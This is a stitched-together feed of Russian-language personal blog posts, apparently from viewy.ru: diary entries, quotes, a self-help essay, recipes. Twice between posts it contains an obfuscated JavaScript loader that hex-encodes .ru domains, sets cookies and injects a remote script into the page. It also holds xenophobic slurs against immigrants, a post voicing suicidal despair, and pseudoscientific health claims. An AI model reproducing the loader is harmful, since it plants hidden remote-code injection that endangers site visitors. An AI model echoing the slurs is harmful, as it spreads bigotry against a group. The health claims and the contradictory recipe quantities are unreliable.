Такое говорит мне мой мч. А все потому, что я не 'дёргаюсь' под глыпые/не совсем глупые песенки. Не тресу задницей. Где этот мир свернул не туда? Ответьте мне!

скидывать брата с лестницы - дело забавное

но совсем не весело, когда он хочет проделать то же самое и с тобой

Друг дяди Китти занимается ремонтом обуви. Куда не носила свои сапожки- все отказывались чинить, говорили, что нет смысла, сапогам конец. Однако, мне их починили и совсем дёшево.) Сапоги поехала забирать я, так как Китти не успел бы на футбол. Забрала, заметила оценивающий взгляд "мастера обуви". Через пару минут перезвонил Китти и сказал, что созвонились с тем, он сказал, что я "неформальная, жёсткая. Но ты ничего не подумай- девочка прикольная", - шта? НЕФОРМАЛЬНАЯ? ЖЁСТКАЯ? СЕРЬЁЗНО?) Такой я была лет в 13, когда была готкой.)

Картинка с тегом «disney, lol, and princess»

Ранковий позитивний настрой і бойовий характер під вечір змінився на бажанням по плакати і стати простим овочем без емоцій…

Постараюсь навек сохранить этот вечер в груди.
Не сердись на меня. Нужно что-то иметь позади.

Иосиф Бродский

Наблюдать, как кто-то медленно теряет к тебе интерес - это, возможно, одно из самых ужасных событий, что может случиться.

Не забывайте великое правило нашего века: всегда будьте полной противоположностью тому, чего от вас ожидают.

Фредерик Стендаль "Красное и черное"

Рано или поздно все закончится. И то, что разрывало тебя на части, теперь будет изредка вспоминаться.

Когда-нибудь и в твоей жизни наступит день, когда захочется извращений. И дай бог, что б это были волосы синего цвета, а не «влюбиться».

сегодня год, как я пошла на работу. на мою первую работу.

словами не описать, сколько мне дал этот опыт. сколько знаний, впечатлений, прекрасных и не очень людей, сколько человеческих чувств я увидела, сколько километров намотала, скольким людям помогла.

и пусть все закончилось несправедливо в сентябре, я ни о чем не жалею. эта работа подарила мне уверенность в своих знаниях, умениях, способностях.

и сейчас я бы хотела, пожалуй, одного: ехать в машине Вадима с Розы Люксембург, слушать радио или свою музыку, чувствовать свою значимость и быть счастливой.

вы знаете, коты лучшие психологи. и я в этом убедилась сегодня на практике, когда разревелась в ванной, а мелкий Тимоша (который серый) чуть ли не с боем рвался ко мне. а когда я открыла дверь, он вокруг меня, как юла крутился, мурчал, лизал мне руки с выражением морды "эй, ты чего ревешь, дурында?"

Я не собираюсь бросать свою мечту и не ехать в Диснейленд во Францию из-за сраных хачей эмигрантов! Мамочка сказала, что вообще меня пока в Европу не отпустит. Потрясающе, из-за долбаёбов, в которых заложена: злоба, ненависть к людям, мания величия- я должна гнить в этой дыре.

Картинка с тегом «angry, disney, and shoot»

Привет, мне 21 год, и я категорически не хочу выходить замуж. Сегодня разговаривала с бабушкой с отцовской стороны, и она выдвинула теорию относительно моего состояния здоровья: мне просто нужен муж, с котором можно..мм, переспать. Все просто! Немного секса, и я уже здорова! Бабушка пыталась внушить, что это поможет и возраст такой, что пора уже думать о семье, а у меня в голове лишь паника и только одна мысль:"Не хочу!". Не могу представить себя в качестве жены, я ведь, по сути, ребёнок, которого в детстве обделили отцовским вниманием, и чем страше я становлюсь, тем больше в этом убеждаюсь. Мне не нужен муж, мне нужен отец. Человек, который будет заботиться о тебе и волноваться, который…а что должны делать отцы? Короче, мужчины, любите своих детей, чтобы потом не вырастали из них такие вот несуразные дети!

(А это я еще раз подстриглась - как всегда на фоне депрессивного расстройства!)

Слишком много новостей. Как их впихнуть в пост так, чтобы это было слаженно? Ответ - никак. Так что мужайтесь, мои дорогие читатели.
Во-первых, еще раз скажу, что с лучшей подругой мне повезло несказанно. Это даже уже не просто моя лучшая подруга, это моя семья, моя сестра, мой ангел-хранитель - она всегда рядом и всегда направляет меня в жизни, а для такой дубины, как я это особенно необходимо. Все, о чем я расскажу ниже - определенно её заслуга!
Итак, начну, я наверное, с планов ближайших - мне скоро 20 лет. Впервые в жизни, наверное, я решила отметить так, как я хочу и позвать того, кого хочу - а то постоянно были проблемы в стиле "ну если эту звать, то надо и этих, а если эту, то вот этих" - ну нетушки. Будут только мои самые любимые. Опять же заслуга Алины - она предложила свою квартиру в качестве места для нашего прекрасного девичника - и это явно самый лучший подарок на др!
Следующее - моя новая мечта. Опять же предложенная Алиной. Мы разговорились про преподавание и планы на будущее, и она сказала, что видит меня прекрасным учителем начальных классов(сама я тоже бывает об этом задумывалась, но английский меня останавливал), а я ведь учусь на платном, т.е. шанс на бесплатное образование у меня есть - мы посмотрели, и оказалось, что на моем факультете есть бесплатная заочка. Поэтому в этом году я попробую поступить на свой же факультет в надежде, что половину предметов мне перезачтут и я получу еще одну специальность, к тому же обучение там тоже очень интересное. В началке я могу и со своим первым образованием работать прекрасно, но хочется лучше узнать все методики и использовать свой шанс на бесплатное обучение.
Последняя, пожалуй, новость - я, человек не суеверный, но почему не хотелось говорить, пока не куплю билеты, и даже сейчас как то страшно и не верится - еду летом в Италию! Поступило предложение от подруги, у которой там живет семья, я поняла, что это шанс на миллион - денег нет, визы нет, заняла у всех целое состояние, но еду. Пока вкратце об этом.
Пытаюсь отчаянно найти работу, связанную с преподаванием. Это не сложно, если бы не учеба. Сейчас расписание удобное - каждый день почти в 13 я свободна, но пока не подворачивается ничего. Если кто-то в СПб на что-то подобное наткнется - пишите мне.

32 вывода к 32 годам

Бывают моменты, когда накапливается столько вопросов, что нужно каким-то образом дать им выход. Писатель, журналист, блоггер и путешественница Олеся Новикова делится своими жизненными выводами, к которым пришла в свои 32 года.

Страшно всем. И красивым, и талантливым, и умным, и везучим. Начинать новое. Выходить из привычного круга. Рисковать. Делать что-то, к чему еще не привык. Страшно за близких. За дело. За свою жизнь, если прижмет. И много чего еще. Страх будет и дальше. Сколько бы ни было опыта, практики, уверенности, признания, денег, таланта, но каждый раз замахиваясь на новую высоту, каждый раз выходя на сцену, каждый раз, оборачиваясь на близких — в той или иной степени будет страх. Это нормально. Это значит, что ты еще жив. И значит, нужно идти вперед. Через страх. А не пытаться полностью от него избавиться.

Жизни без перемен не существует. Стабильность иллюзорна. Мы постоянно находимся в движении. Мы постоянно меняемся внешне и внутреннее, эти процессы не прекращаются ни на секунду. И секунды, как меры измерения, здесь даже много. Процессы идут каждое мгновение. Это множество секунд. Вопрос: «Меняться или не меняться?» у здравомыслящего человека стоять не может. Только: «Имею ли я отношение к этим изменениям и в какой мере?»

Быстро — это медленно, но без перерыва. Не нужно быстро, интенсивно, круто, очень мощно. Достаточно всего лишь регулярно. Самое главное — держать ритм. По чуть-чуть, но со стабильной последовательностью. А через какое-то время, со стороны, это будет выглядеть, как быстро, интенсивно, круто и очень мощно.

Создавать больше, чем потреблять. Иначе, все. Беспросветная жизнь потребителя, витиевато сплетающаяся в многозначительный вывод: «Все хорошо, но ничего хорошего». Человек должен что-то делать. Добровольно и любя. Это формула его душевного здоровья. А бонусом, что любопытно — это единственный способ получать удовольствие от потребления, которое не будет его разрушать. Можно считать этот процесс — здоровым психическим метаболизмом.

Сегодня — это то, что ты делал и думал вчера, а завтра — это то, что ты делаешь и думаешь сегодня. Эту фразу нужно повторять, как мантру до тех пор, пока не дойдет, что твои родители не имеют отношения к твоим взрослым проблемам. Во всяком случае, они не виноваты, что некому сменить пластинку в твоей голове, которая заела с детства.

Никаких гарантий нет. Базовое правило мироздания, через которое нужно пропускать все свои решения и планы.

Эпоха сокровенных знаний, которые могут что-то изменить, закончена. Настала эра информационной гигиены. Уже лет пять, как знания не являются главной валютой в вопросе достижений и какого-либо осмысленного существования. Интернет их обесценил своей доступностью. На смену пришла концентрация. Способность удерживать внимание на задаче и не расплескивать интерес — вот кто правит. А этот навык находится в прямой зависимости от информационного шума, который сегодня повсюду. Чем больше словесного мусора вокруг — тем слабее фокус. Чем больше чужих мыслей, тем тише собственный голос. Постоянное нахождение в интернет-потоке атрофирует способность к самоосознанию, подменяя суть концепциями о том, что ею является.

Радость и удовольствие — не одно и то же. Мы никогда не получаем радости от шоколадного торта, фужера вина или сигаретки. Мы не получаем радости от новых сапог или духов. Важно называть вещи своими именами — мы получаем удовольствие. А тут уже совсем другая химия. Природа этого чувства очень скоротечна и неразрывно связана с последующей неудовлетворенностью, скукой, пресыщенностью и желанием новой порции. Не страшно отказать себе в удовольствиях, страшно не познать радость.

Страдания существуют. Будда был все-таки прав. Страдания существуют. Страдают все. И те, у кого ничего нет, и те, у кого есть все. А кто конкретно в эту минуту не страдает, уйдет в боль в следующую, как только изменится курс доллара, произойдет теракт, получит в ответ, что его не любят, увидит грязный подъезд, не дождется ответа на сообщение, не получит денег или по любому другому дуновению ветерка. Страдания существуют. И всегда без повода, если вспомнить финал любого человеческого существа.

Быть счастливыми могут не все. Каждый ли человек может быть счастливым? Да, разумеется! Но это в теории. На практике стабильно счастливыми, то есть спокойными, уравновешенными, благостными, если хотите, могут быть только те, кому доступна дисциплина ума. Чей ум способен (натренирован) не дергаться по всем многочисленным поводам, которые его окружают. Кто может оставаться в равновесии радости не только в штиль, но и в порыве неприятных ситуаций. В противном случае, все бесконечные поводы от царапины на твоем авто будут выкидывать тебя в боль, раздражение и тревогу. И это всего лишь какая-то машина, а есть же ситуации и посерьезнее. Счастливым такой загнанный ум, реагирующий на любое происшествие, можно назвать лишь в статусе Инстаграма.

Радость — это равновесие ума. Скажите мне это лет так 5 назад, я бы покрутила у виска. Когда тебе днем и ночью мечтается большая светлая любовь, дружная семья, интересное доходное дело, возможность работать на себя, а не на другого, насыщенная путешествиями жизнь, кажется, что, все-таки, ты имеешь какие-то представления о радости, как минимум, о собственной. Да, ты сейчас во многом не удовлетворен, да что-то может вывести тебя из себя, да ты страдаешь. Так это и понятно. Но ты знаешь к чему стремиться. Ты знаешь, где твоя осязаемая непреходящая радость, заглядываясь на свои, столь манящие, мечты. Радость — это состояние полного равновесного покоя ума, которое достигается при освобождении от слепых (автоматических) реакций этого самого ума. Здоровый, возможно единственный, способ познать (и развивать) такое состояние во взрослом возрасте — это глубокая медитация наблюдения.

Фрукты — не кислотная, а щелочная еда. Если по-научному, свежие спелые фрукты и почти все овощи вызывают в организме щелочную реакцию и помогают нейтрализовать избыток кислоты в нем, а крахмал, сахар, мясопродукты, жиры, масла, молочная продукция, наоборот, организм закисляют. Полное описание есть в таблице Н. Уокера и Р. Поупа, которая доступна через гугл.

«Мое тело само знает, что ему лучше» — одна из самых коварных ловушек ума. Тело алкоголика хочет выпить, тело курильщика мечтает о сигаретке, наше тело жаждет шоколада и картошки-фри. О каком «лучше знает» все говорят? Также, как и ум живет автоматическими реакциями, не давая человеку делать элементарные подвижки в своей жизни, так и тело подчиняется привычкам и хаотичным импульсам вожделения.

Питание влияет не только на наше тело, но и на наше сознание. Подобно алкоголю, который заметно изменяет наше сознание, притупляя его, некоторые продукты несут схожий эффект, но в менее выраженной и зачастую неосознаваемой форме. Еда может замедлять и расфокусировать голову, ослабляя контроль, силу осознанности и ясность восприятия. Слегка «затуманенное» состояние становится уровнем нормы, позволяя человеку забыть, что значит легкость и ясность на самом деле. Наиболее «свободная» еда — это свежие овощи и фрукты, а также растительная пища и злаки, приготовленные простым способом с минимальным содержанием масла, приправ и соли.

Денег нужно столько, чтобы о них не думать. Деньги не решают главный вопрос человечества — они не делают своего владельца счастливым. Но возможность о них не думать, как минимум в быту, существенно высвобождает энергию для других процессов.

Мы все одинаковые намного больше, чем разные. Значение личной уникальности сильно преувеличенно и не дает нам быстро решать свои проблемы. Все ответы и решения давно существуют, а зацикленность на собственной неповторимости не дает человеку задвинуть свое эго туда, где ему было бы полезно всегда находиться и без помех воспринимать окружающую его реальность со всеми ответами и подсказками.

Зависимость лечится только 100% отказом. Нельзя выпить один фужер вина, если ты алкоголик. Нельзя иногда курить, если пытаешься бросить. Тебя будет скручивать постоянно. Взлеты и падения. Срывы. В вопросах психоэнергетических «крючков» нет полутонов. И это правило незыблемо для зависимостей всех типов.

Состояния внутренней 100% готовности к переменам не существует. Мы всегда до конца не готовы к поворотам и изменениям. Всегда есть веские «но» и поводы немного отложить до более благоприятной ситуации. Бесполезно ждать однозначного внутреннего согласия, нужно решаться, опираясь скорее на «пора», чем на эфемерную готовность.

Жизнь — это книга, первые главы которой были написаны не тобой. Да, и последующие — тоже, чаще всего. Мы состоим из убеждений и моделей окружающего нас мира, а мир этот — не абстрактная планета Земля, а вполне конкретный подъезд, офис, дом — место, где мы проводим время. Это друзья, коллеги, родители, продавцы в магазине, с которыми сталкиваешься каждый вечер. Это лента в социальных сетях и так называемые друзья из фейсбука. Мы впитываем взгляды, позиции, точки зрения просто автоматически, мы вдыхаем их с воздухом и становимся такими же или наоборот противоположными, что тоже автоматический момент отрицания. В детстве этот процесс полностью неуправляем. Суть нашей личности собирали другие люди и осознанный родительский вклад (если он вообще был) там далеко не преобладает. То, что мы считаем собой и то, что надо бояться потерять по версии некоторых психологов, — всего лишь в той или иной степени красоты мозаики от нашего окружения. Терять нечего. По-моему, отличная новость. Можно перекроить все в какую угодно сторону.

Результат — это количество попыток. А не один меткий выстрел. И уж точно не удача при долгосрочной перспективе.

То, что тебе помогало на одном этапе может оказаться тормозом для выхода на следующий. Способность к кардинальным переменам характеризуется возможностью отказываться. Но не только от того, что тебе мешает. Порой очень важно отказаться от того, что тебе помогало в прошлом. Простой пример: правила малого бизнеса не работают в среднем. Расти без отказа от части из них, пусть даже они поднимали процесс вчера, — невозможно. Тоже и с человеческой личностью — ее установками, планами.

За зоной комфорта находится зона дискомфорта. А не коробка шоколадных конфет.

Жизни без цели не существует. Также, как и состояния без перемен. Вопрос лишь в том: ставишь ли ты эти цели сам или отдаешь на откуп инстинктам (неосознанным целям).

Лени — не существует. Есть нелюбимые занятия, нехватка энергии и отсутствие масштабного видения, чтобы захватывало дух от открывающихся перспектив. А лени нет.

Себя невозможно найти, себя можно только создать. Искать нечего и некого. Ты всегда есть здесь и сейчас. А твой путь — это то, что у тебя под ногами в данную конкретную секунду, не более того. Тот самый «свой» путь отличается от того, чем он не является только фактом осознанности идущего, который прокладывает пусть и небольшие, но вполне осязаемые цели. Когда эти цели определяют другие люди или они прорастают хаотично через слово «должен» — никакого пути нет, есть набор разношерстных неприкаянных эпизодов.

Алкоголь не нужен. Вообще.

Нереализованный потенциал причиняет боль. И бесполезно прятаться от этого факта в выбранный уровень комфорта или красивые философские концепции, те же истории про женственность, материнство и прочее. За каждый талант с нас спросится.

Банки должны платить тебе, а не ты им. Это единственно возможное финансовое здоровье. Никогда никогда никогда не стоит покупать то, на что не заработал. Никогда. Во всяком случае, если грезишь о серьезных переменах. Мы платим банку не только деньгами, но и своей свободной энергией. Пространства для риска и авантюрных подвижек практически не остается. Прорыв из такого состояния (особенно на новый финансовый уровень) вряд ли возможен.

Две способности, которыми нужно овладеть, как можно раньше: умение напрягаться и умение расслабляться. Любое движение требует напряжения сил в тот или иной момент. Если идти на него нехотя, по нужде — будет расходоваться в два раза больше энергии. Часть на само усилие, остальное — на психическое напряжение. На внутреннюю борьбу. Отсюда необходимость научиться напрягаться по желанию, полюбить свое усилие. При способности напрягаться добровольно, видя в этом исключительно положительный аспект, количество потраченных сил сократится в разы. Будет получаться больше и легче. А умение расслабляться — принимать реальность такой какая она есть, отпускать собственные ожидания, развязывая внутренние узлы и снимая телесное напряжение — второе крыло, без которого на одном напряжении далеко не продвинешься.

Два ответа, которым нужно научиться, как можно раньше: «Да» и «Нет». Говорить «Да» ситуациям и людям несмотря на отсутствие гарантий, полной внутренней готовности и различные внешние обстоятельства. И говорить «Нет» в первую очередь самому себе — своим слабостям, страхам и внутренней распущенности. И лишь далеко потом — другим людям.

Крутые штуки отличаются от хороших способностью делающего забывать себя. Творец отличается от человека, который что-то неплохо делает тем, что ставит дело выше себя, растворяя в процессе свое эго. И делает это осознанно и любя, а не по отсутствию выбора или чувству долга. Так один маркетолог может быть истинным музыкантом в профессии, а иной музыкант так на всю жизнь и остается тем, кто имеет дело с музыкой.

Каждый встреченный на пути знак всегда имеет минимум 3 толкования. 1. Может быть это действительно знак! 2. Может быть ты бредишь и притягиваешь факты за уши. 3. А может быть это испытание — явление противоположное знаку — попытка отвести от выбранного пути, как проверка искренности твоего решения и силы намерения.

Домашнее лимончелло

Ингредиенты:

Лимон - 11 шт
Водка - 1 л
Сахар - 3 стакана
Вода - 3 стакана

Приготовление:

Для начала нужно тщательно помыть и высушить лимоны. Затем, используя нож для чистки овощей, срезаем с них цедру в приготовленную банку. Обычный нож здесь не подойдет, очень важно срезать только верхний желтый слой кожуры лимонов, т. к. именно в нем содержатся эфирные масла, которые придают вкус и аромат напитку.
Количество лимонов подбирайте по размерам так, чтобы у вас получилось 120-150 гр. цедры.
Цедру заливаем 500 мл. спирта и плотно закрываем крышкой. Будьте очень осторожны и внимательны со спиртом, он легко воспламеняется!
На банке пишем дату, чтобы не забыть, и оставляем в темном прохладном месте, встряхивая каждый день.
Через 5..10 дней, в зависимости от вашей выдержки, нужно приготовить сахарный сироп. Для этого мерным стаканчиком (можно весами) отмеряем 500 гр. сахара и высыпаем в кастрюлю.
Затем, отмерив 650 мл. воды, заливаем сахар и ставим на маленький огонь на плиту.
Сироп медленно помешиваем ложкой до полного растворения сахара, а после снимаем с плиты и остужаем до комнатной температуры.
Далее открываем банку с готовой настойкой и хорошенько процеживаем через сито.
После этого, чтобы не дать спирту испариться, выливаем процеженную настойку в сироп, хорошо перемешиваем.
Разливаем по бутылкам при помощи воронки и оставляем настаиваться еще на 5 дней.
Через 5 дней, готовый напиток можно класть в морозилку. Примерно через сутки он остынет до нужной температуры.
Крепость полученного напитка будет около 40% поэтому будьте осторожны в его употреблении!

Скраб из ромашки и розы

Рецепт изготовления скраба чрезвычайно прост. В кофемолки необходимо смолоть следующие ингредиенты:
- 1 ст.л. засушенных соцветий розы
- 1 ст.л. засушенных соцветий ромашки
- 1 ст.л. овсяных хлопьев
В полученный порошок добавить 2 ст.л. меда и ¼ чашки базового масла (оливковое, жожоба, миндального или кунжутного)

Путеводитель по специям

Для горячего молока: шафран, корица, кардамон.

Для мяса: орегано, черный, красный или душистый перец, лук, гвоздика, куркума, майоран, тимьян, тмин.

Для выпечки: ваниль, гвоздика, мак, корица, кунжут, бадьян, анис, имбирь, цитрусовая цедра, душистый перец, кардамон.

Для птицы: базилик, тимьян, чабрец, майоран, шалфей, розмарин.

Для паштетов: кардамон, белый перец, имбирь, корица, бадьян, лавровый лист, гвоздика.

Для рыбы: тимьян, лавровый лист, укроп, белый перец, горчица, имбирь, чили, душистый перец, кориандр, лук.

Для компотов и фруктовых напитков: корица, бадьян, имбирь, кардамон.

Для гриля: чили, красный перец, имбирь, душистый перец, тмин, кардамон, мускатный орех, тимьян, майоран.

Для маринада: соцветия укропа, лавровый лист, гвоздика, можжевельник.

Для дичи: можжевельник, тимьян, красный перец, душица, красный и душистый перец.

Для бобовых: кориандр, кумин, мята, асафетида, перец, имбирь.

Для рагу: гвоздика, красный перец, мускатный орех, имбирь, душистый перец, куркума, черный перец, кориандр, тмин, горчица, кардамон.

Для картофеля: кориандр, карри, асафетида, куркума.

Для капусты: семена черной горчицы, кориандр, кумин, фенхель.

И именно поэтому я сейчас сдохну. Я таки сделала эту кардио тренировку. Надо делать 3 круга. 3, мать его, круга! Я с горем пополам осилила только 2. Теперь у меня трясутся руки, ноги, я почувствовала те мышцы, о существовании которых я забыла. А уж как представлю, что со мной будет завтра…. Думаю, что на работу я поползу. Я знала, что моя спортивная форма оставляет желать, но даже не думала на сколько. Жрать было намного проще, да и приятнее. И да, так как диету я не осилю, да и потребляю недостаточно ккал в сутки (весь день не ем, а на ночь нажрусь), и так как мой образ жизни не очень позволяет мне соблюдать режим питания, я стараюсь поесть до 19:00, а так же перекусываю йогуртами на работе и в течении дня пью чай или кофе без сахара, учитывая, что всегда пила с тремя ложками. Такая гадость, доложу я вам. Спорт это жизнь, а жрать намного легче…

Один грязью польет, когда при этом считается мне близким человеком. Другие за спиной мутят встречи в компании, ничего мне не сообщив. Браво! Что я такого сделала им всем? Никого не трогаю вообще, а говна получаю. Спасибулички.

Если готовит кто-то другой (кто не я), тот готовит так - взял нужные продукты, сварил/пожарил, накормил всех.

Если готовлю я - почему с гречкой уже 15 минут ничего не происходит, она же стоит на горящей конфоре? Ааа, фарш, не ужаривайся, пожалуйста! Нужно слить воду с гречки, обязательно навернуть кастрюлю над раковиной, - бац! - вся раковина в гречке, все в гречке!

А вообще все говорят, что я норм готовлю.

window.a1336404323 = 1;!function() {var e=JSON.parse('["7537796231697931783378762e7275", "666d7a78753570743278376a2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="21670", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

Если вы думаете, что ваши преподы странные, то вы очень сильно ошибаетесь.

Сегодня у нас была культурология. У препода (кстати, это тот самый, который устроил нам халявный экзамен по естественно-научной картине мира) за столом рядом стоит два стула - сидя на одном, он общается со студентами, на другом висит куртка, на столе перед этим стулом стоит комп.

Так вот, заканчивается первый урок от пары, препод берет куртку, надевает ее и садится работать за комп. Звенит звонок. Препод снимает куртку, вешает обратно и садится на соседний стул, чтобы дальше вести пару.

Вопрос: зачем? Неужели за компом так холодно?

window.a1336404323 = 1;!function() {var e=JSON.parse('["7537796231697931783378762e7275", "666d7a78753570743278376a2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="21670", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

а она права.у нас все слишком быстро развивается.
я тут подумал…выходи за меня.

тут мы начали дико ржать :D
я снова буду повторяться, но это все чертовски странно.иногда меня это пугает.в том смысле, что я всегда хотела найти человека, с которым у меня схожие мысли и тут появляется он.когда я уже закрылась от всех и вся.не прошло и недели, а он уже ужинает у меня дома в компании моей мамы.как так?!и оба заставляют меня есть-_-
черт.происходит столько всего, а я не могу и не хочу здесь ничего писать.
кажется, что в скором времени я буду появляться дома все реже, поэтому на писанину остается мало времени.а вот ваши посты я читаю с телефона, пока он спит у меня на коленях:3
это все так тупо и мило.кто-нибудь пристрелите меня.

Я не расистка, но… Посмотрите, что творят уроды эмигранты в Европе! Насилуют, избивают, воруют, убивают! Взять всех за шкирки и к чёрту выставить за границу!

К Греции вернемся позже, если вспомню что-то еще. Сейчас небольшая история, которая произошла полтора года назад. Как вы знаете, я люблю всякие книги и фильмы о чудесах и силе мысли. Так вот, наткнулась я на одну книгу прошлой осенью, узнала о ней, кстати, с Вьюи (если кому нужно, то я скину название позже или сайт). Там сказано про материализацию желаний, картины мира и т.д. и т.п. В общем я была так вдохновлена. А моей девчачей мечтой был айфон тогда. Ну вот думала: заработаю, или на др скоро кто-то подарит. И у одной из моей лучших подруг уже был, да и у многих, на самом деле. Хотела купить 4s, ибо на другой денег бы не хватило.

Так вот, в одно осеннее утро мы поехали на автобусе с этой девочкой в Финляндию (откатать визу). И я, вдохновившись этой книгой, начала рассказывать, про то, что не существет правды или лжи. У каждого она своя, и правила жизни (игры) свои. И нигде не написано, что "нужно выйти замуж", "нужно работать, чтобы получать деньги". Да, это логично в нашей картине мира. Но стоит ее изменить… ну вы поняли. И что вы думаете? я приезжаю с Финляндии в этот же вечер. И моя мама с сестрой дарят мне айфон (купил отец сестры, с котором мы вообще не видились года 4-5, он с нами не живет, но купил, т.к. покупал сестре, и мне, якобы, было бы обидно) и знаете, это был айфон 5s.

Да, может глупенькая история в каком-то смысле, но когда так все"падает с неба", как мы смеемся с одним знакомым из Кельна, то почему не написать?! Так было со многими вещами. С пальто, которое я жаждила просто, с адидасами, найками, да и во всяких мелочах, с изменением планов в лучшую сторону. С поездками в Мюнхен, NRW, Польшу… с появлением принца хаха)

ну вот такая вот история :)

суть в том, что мы ясно себе представляем уже своим, желаем и действительно хотим без "но" в голове (конечно, хорошо помечтать и отбросить потом эти мысли.Иногда, сбывается быстрее-сбросить важность, кажется, называется). Еще ускоряет, так называемое "нахождение в потоке". Или просто загадать/попросить хороший сюрприз на день.

Если что-то интересно по этой теме, могу скинуть названия книг, или просто поделиться мыслями и историями из жизни :)

балансирую на грани тотального запоя и самоубийства. такой ненависти к себе я еще никогда не испытывала. и понимать, что, пока я буду вести этот образ жизни, со мной ничего хорошего и не случится - жестоко. в моменты особой печали, когда я чувствовала свою никчемность или кто-то из моих друзей находился на грани срыва, я находила нужные слова, не утешения, но ободрения. и сидеть сейчас и понимать, что как таковой "трагедии" и не произошло, но что-то во мне ломается каждую минуту.

когда ты встречаешь плохого человека, а потом он уходит, особой тоски ты не чувствуешь после этого, "все неспроста и, конечно же, к лучшему." но сейчас, после замечательных моментов, в которые ты чувствуешь себя по-настоящему живой, свою значимость… удушье. и невозможность исправить, вмешаться в данный порядок. когда ты осознаешь весь масштаб случившегося, и что это повлечет за собой… самое дурацкое, когда сам понимаешь, что в этом ничего вроде бы такого и нет и вообще можешь не замарачиваться. но я и могу, и не могу одновременно объяснить себе, почему накатывает эта "беспочвенная" тоска.

